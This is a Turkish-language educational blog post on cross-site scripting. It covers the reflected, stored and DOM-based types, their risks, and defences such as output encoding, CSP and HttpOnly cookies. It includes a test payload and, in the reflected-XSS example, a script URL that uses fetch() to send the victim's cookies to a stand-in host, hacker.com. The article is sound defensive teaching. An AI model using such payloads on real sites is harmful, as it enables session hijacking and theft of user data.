XSS (Cross Site Scripting) Açığı Nasıl Çalışır?

Uncategorized
XSS Saldırıları ve Çeşitleri

Giriş

Web uygulamalarının güvenliği, kullanıcıdan alınan verilerin sunucu ve tarayıcı arasında nasıl işlendiğiyle doğrudan ilişkilidir. Bu süreçteki en yaygın ve tehlikeli zafiyetlerden biri olan XSS (Cross-Site Scripting), saldırganın güvenilir bir web sitesine kötü niyetli istemci tarafı betikleri (genellikle JavaScript) enjekte etmesine olanak tanır.

SQL Injection veri tabanını hedef alırken, XSS doğrudan son kullanıcıyı ve onun tarayıcı oturumunu hedef alır. 2026 yılı itibarıyla, modern web frameworkleri (React, Angular, Vue) yerleşik korumalar sunsa da, hatalı yapılandırmalar ve “tehlikeli” fonksiyonların kullanımı XSS’i hala siber saldırganların favori yöntemlerinden biri yapmaktadır.

Konunun Temel Açıklaması

XSS, özünde bir “güven suistimali” saldırısıdır. Tarayıcılar, ziyaret edilen meşru bir web sitesinden gelen betikleri “güvenli” kabul eder ve çalıştırır. Eğer bir web uygulaması, kullanıcıdan aldığı veriyi yeterince filtrelemeden veya kodlamadan (encoding) sayfaya geri basarsa, saldırgan bu verinin içine <script> etiketleri yerleştirerek kendi kodunu kurbanın tarayıcısında çalıştırabilir.

Bu durum; oturum çerezlerinin çalınması (Session Hijacking), sayfa içeriğinin manipüle edilmesi (Defacement) veya kullanıcının sahte giriş formlarına yönlendirilmesi gibi ciddi sonuçlar doğurur.

Çalışma Mantığı ve Teknik Arka Plan

XSS’in temel çalışma mekanizması, tarayıcının “veri” ile “betik” arasındaki farkı ayırt edememesine dayanır. Normal bir senaryoda, bir arama kutusuna “telefon” yazdığınızda sunucu size Arama sonuçları: telefon yanıtını döner. Ancak sistemde XSS zafiyeti varsa ve saldırgan arama kutusuna <script>alert('XSS')</script> yazarsa, sunucu bu metni HTML içine doğrudan yerleştirir.

Tarayıcı sayfayı yüklediğinde, bu metni bir “yazı” olarak değil, “çalıştırılması gereken bir JavaScript kodu” olarak algılar. Gerçek bir saldırıda bu kod alert yerine, kullanıcının document.cookie verisini saldırganın sunucusuna gönderen karmaşık bir betik olacaktır.

XSS Türleri ve Saldırı Senaryoları

1. Reflected (Yansıtılan) XSS

En yaygın türdür. Kötü niyetli betik sunucuda saklanmaz; bir URL parametresi veya form verisi aracılığıyla gönderilir ve sunucu tarafından anlık olarak sayfaya geri “yansıtılır”.

  • Senaryo: Saldırgan, içinde zararlı kod bulunan bir link hazırlar: online-banka.com/ara?sorgu=<script>fetch('hacker.com?c='+document.cookie)</script>. Bu linke tıklayan kullanıcının oturum çerezi saldırgana iletilir.

2. Stored (Kalıcı) XSS

En tehlikeli türdür. Zararlı betik, web sitesinin veri tabanına (yorumlar, profil bilgileri, mesaj kutusu vb.) kalıcı olarak kaydedilir.

  • Senaryo: Saldırgan, bir haber sitesinin yorum kısmına zararlı JavaScript kodu yazar. Bu yorum onaylandığında, haberi okuyan her kullanıcının tarayıcısında bu kod otomatik olarak çalışır. Saldırı kitlesel bir boyuta ulaşır.

3. DOM-based XSS

Saldırı tamamen istemci tarafında gerçekleşir. Veri sunucuya hiç gitmeyebilir; tarayıcıdaki JavaScript kodunun (Document Object Model) hatalı kullanımı sonucu tetiklenir.

  • Senaryo: Bir sayfa, URL’deki # işaretinden sonraki kısmı alıp sayfaya yazıyorsa (document.write), saldırgan URL’nin sonuna betik ekleyerek kurbanı hedef alabilir.

Riskler ve Kurumsal Etkileri

  • Oturum Çalma (Session Hijacking): Saldırgan, kullanıcının session_id bilgisini ele geçirerek hesaba parola gerekmeksizin giriş yapabilir.

  • Kimlik Avı (Phishing): Web sitesinin formu manipüle edilerek, kullanıcının kredi kartı veya kimlik bilgileri saldırganın sahte formuna yazdırılabilir.

  • KVKK ve İtibar Kaybı: Kişisel verilerin bu yolla sızması, kurumun teknik tedbir yetersizliği nedeniyle ağır cezalar almasına yol açar.

Önleme ve Güvenlik Önlemleri

XSS’i önlemek için “Savunma Derinliği” prensibi uygulanmalıdır:

  • Çıktı Kodlama (Output Encoding): Kullanıcıdan gelen veri ekrana basılmadan önce mutlaka HTML karakterlerine dönüştürülmelidir. Örneğin < karakteri &lt; haline getirilirse, tarayıcı bunu kod olarak değil, sembol olarak görüntüler.

  • İçerik Güvenliği Politikası (CSP): Web sitesine eklenecek bir HTTP başlığı (Content-Security-Policy) ile tarayıcıya “Sadece güvenli kaynaklardan gelen JavaScript kodlarını çalıştır” talimatı verilir.

  • HttpOnly Çerezler: Oturum çerezleri HttpOnly bayrağı ile işaretlenirse, JavaScript kodları bu çerezlere erişemez. Bu sayede XSS olsa bile oturum çalınamaz.

Sonuç

XSS, web uygulamalarının karmaşıklaşmasıyla birlikte form değiştiren ama tehlikesi hiç azalmayan bir zafiyettir. 2026 dünyasında siber dayanıklılık, sadece sunucuları korumakla değil, son kullanıcının tarayıcısını da birer kale gibi savunmakla mümkündür.

Tags :
#WebSecurity,CrossSiteScripting,XSS
Share This :

Diğer Yazılar

Bize Soru Sorun

Soru ve görüşleriniz için bizimle iletişime geçebilirsiniz.